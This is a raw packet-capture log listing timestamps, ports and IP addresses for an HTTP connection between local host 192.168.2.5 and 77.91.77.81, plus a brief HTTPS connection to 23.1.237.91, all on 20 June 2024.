Jun 20, 2024 15:38:18.668057919 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.668059111 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.668059111 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.668059111 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.668160915 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.695368052 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.695434093 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.695436001 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.695491076 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.695540905 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.695540905 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.695543051 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.695579052 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.695633888 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.695655107 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.695687056 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.695694923 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.695723057 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.695758104 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.695770979 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.695770979 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.695792913 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.695823908 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.695868015 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.695868015 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.695874929 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.695910931 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.695944071 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.695976973 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.695988894 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.695988894 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.696010113 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.696034908 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.696046114 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.696052074 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.696082115 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.696115971 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.696151972 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.696154118 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.696154118 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.696192026 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.696211100 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.696225882 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.696279049 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.696288109 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.696288109 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.696316957 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.696352005 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.696367979 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.696367979 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.696404934 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.696412086 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.696460009 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.696499109 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.696512938 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.696516037 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.696568966 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.696572065 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.696605921 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.696640015 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.696654081 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.696654081 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.696675062 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.696708918 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.696722984 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.696722984 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.696743965 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.696778059 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.696789026 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.696789026 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.696831942 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.696866989 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.696881056 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.696881056 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.696924925 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.696968079 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.696968079 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.696976900 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.697010994 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.697045088 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.697061062 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.697061062 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.697077990 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.697113037 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.697113991 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.697113991 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.697146893 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.697158098 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.697182894 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.697216988 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.697228909 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.697228909 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.697249889 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.697280884 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.697287083 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.697304964 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.697338104 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.697485924 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.697583914 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.725298882 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.725325108 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.725353956 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.725367069 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.725367069 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.725372076 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.725390911 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.725392103 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.725409031 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.725425005 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.725434065 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.725434065 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.725442886 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.725462914 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.725477934 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.725486040 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.725486040 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.725496054 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.725511074 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.725528955 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.725537062 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.725553989 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.725569010 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.725586891 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.725601912 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.725617886 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.725622892 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.725622892 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.725622892 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.725637913 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.725655079 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.725656033 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.725668907 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.725672960 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.725689888 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.725724936 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.725724936 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.729141951 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.729177952 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.729221106 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.729221106 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.729231119 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.729265928 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.729301929 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.729301929 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.729319096 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.729353905 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.729397058 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.729397058 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.729408026 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.729454041 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.729479074 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.729489088 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.729501009 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.729522943 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.729535103 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.729557991 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.729610920 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.729614019 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.729614019 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.729666948 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.729701042 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.729707956 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.729707956 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.729754925 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.729789019 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.729803085 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.729803085 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.729826927 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.729850054 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.729861021 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.729896069 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.729916096 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.729916096 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.729929924 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.729955912 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.729964972 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.729986906 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.730056047 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.730127096 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.730220079 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.730336905 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.730386972 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.730444908 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.730499983 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.730509996 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.730555058 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.730559111 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.730596066 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.730617046 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.730654001 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.730662107 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.730706930 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.730716944 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.730741978 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.730773926 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.730786085 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.730786085 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.730812073 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.730823040 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.730843067 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.730874062 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.730875969 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.730907917 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.730926037 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.730982065 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.754406929 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.754461050 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.754471064 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.754499912 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.754507065 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.754549980 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.754554033 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.754589081 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.754623890 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.754642963 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.754659891 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.754668951 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.754712105 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.837235928 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.837280035 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.837311983 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.837315083 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.837337971 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.837351084 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.837393045 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.837408066 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.841908932 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.841947079 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.841980934 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.842029095 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.842029095 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.851758003 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.852840900 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.856539011 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.856575012 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.856654882 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.856654882 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.861311913 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.861347914 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.861426115 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.861567974 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.861603022 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.862308979 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.866099119 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.866134882 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.866168022 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.866213083 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.866213083 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.875633955 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.875673056 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.875873089 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.876800060 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.876835108 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.876867056 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.876915932 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.876915932 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.880825996 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.880862951 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.880894899 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.880955935 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.880971909 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.891319036 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.891357899 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.891433954 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.895167112 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.895204067 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.895271063 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.895271063 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.896146059 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.896214008 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.896219969 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.896298885 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.899949074 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.899983883 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.900016069 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.900031090 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.900031090 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.900074005 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.900908947 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.900943995 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.901005030 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.901005983 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.914568901 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.914746046 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.915359020 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.915393114 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.915421009 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.915453911 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.919310093 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.919342995 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.919392109 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.919392109 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.920136929 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.920171022 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.920202971 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.920212984 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.920212984 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.920278072 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.924139977 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.924175024 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.924300909 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.924887896 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.924921989 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.924981117 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.924981117 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.928966999 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.929002047 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.929034948 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.929091930 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.929091930 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.964200974 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.964241982 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.964276075 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.964294910 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.964294910 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.964308977 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.964338064 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.964421034 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.964596987 CEST	443	49719	23.1.237.91	192.168.2.5
Jun 20, 2024 15:38:18.964679003 CEST	49719	443	192.168.2.5	23.1.237.91
Jun 20, 2024 15:38:18.964696884 CEST	443	49719	23.1.237.91	192.168.2.5
Jun 20, 2024 15:38:18.964751005 CEST	49719	443	192.168.2.5	23.1.237.91
Jun 20, 2024 15:38:18.965959072 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.965992928 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.966022015 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.966044903 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.966061115 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.966079950 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.966105938 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.966113091 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.966146946 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:18.966159105 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:18.966160059 CEST	49718	80	192.168.2.5	77.91.77.81
